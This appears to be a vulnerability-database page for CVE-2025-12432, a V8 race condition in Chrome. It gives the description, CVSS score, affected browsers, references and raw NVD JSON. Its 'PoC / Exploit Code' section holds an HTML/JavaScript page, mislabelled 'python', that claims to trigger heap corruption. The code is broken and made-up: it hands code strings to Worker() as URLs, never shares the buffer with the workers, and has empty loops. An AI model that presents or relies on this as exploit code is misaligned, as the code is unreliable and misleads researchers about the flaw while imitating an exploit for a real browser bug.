CVE-2025-12432

Description

Race in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.59

Microsoft Edge (Chromium内核版本 < 142.0.7444.59)

Brave Browser (Chromium内核版本 < 142.0.7444.59)

Opera Browser (Chromium内核版本 < 142.0.7444.59)

其他基于Chromium的浏览器

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-12432 PoC - Race Condition in V8
// This PoC demonstrates a race condition that can lead to heap corruption

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12432 PoC</title>
</head>
<body>
    <h1>CVE-2025-12432 V8 Race Condition PoC</h1>
    <p>Target: Google Chrome < 142.0.7444.59</p>
    <button onclick="triggerVuln()">Trigger Vulnerability</button>
    <pre id="output"></pre>

    <script>
        function triggerVuln() {
            const output = document.getElementById('output');
            try {
                // Technique: Use SharedArrayBuffer and Web Workers to create timing window
                // This creates a race condition in V8's optimization phase
                
                // Step 1: Create objects for type confusion
                const obj = {x: 1, y: 2};
                
                // Step 2: Force deoptimization and reoptimization
                function triggerRace() {
                    // Create multiple execution contexts
                    const workers = [];
                    const sharedBuffer = new SharedArrayBuffer(1024);
                    const int32Array = new Int32Array(sharedBuffer);
                    
                    // Step 3: Use Atomics to create precise timing
                    for (let i = 0; i < 4; i++) {
                        const workerCode = `
                            Atomics.add(int32Array, 0, 1);
                            // Trigger V8 optimization path
                            for(let j=0; j<1000; j++) {
                                // Polymorphic call site manipulation
                            }
                        `;
                        workers.push(new Worker(workerCode));
                    }
                    
                    // Step 4: Trigger type confusion during optimization
                    // This demonstrates the race condition window
                    obj.z = Math.random();
                    
                    // Step 5: Access object in corrupted state
                    // In real exploit, this would lead to arbitrary read/write
                    return obj.x + obj.y + obj.z;
                }
                
                // Force optimization
                for (let i = 0; i < 100; i++) triggerRace();
                
                output.textContent = 'Race condition triggered!\n' +
                    'Note: This PoC demonstrates the timing attack concept.\n' +
                    'Real exploitation requires precise heap grooming.';
                    
            } catch (e) {
                output.textContent = 'Error: ' + e.message;
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12432
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12432
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12432/
[4] VulDB https://vuldb.com/cve/CVE-2025-12432
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/439522866

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12432", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:37.750", "lastModified": "2025-11-13T15:26:15.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Race in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/439522866", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}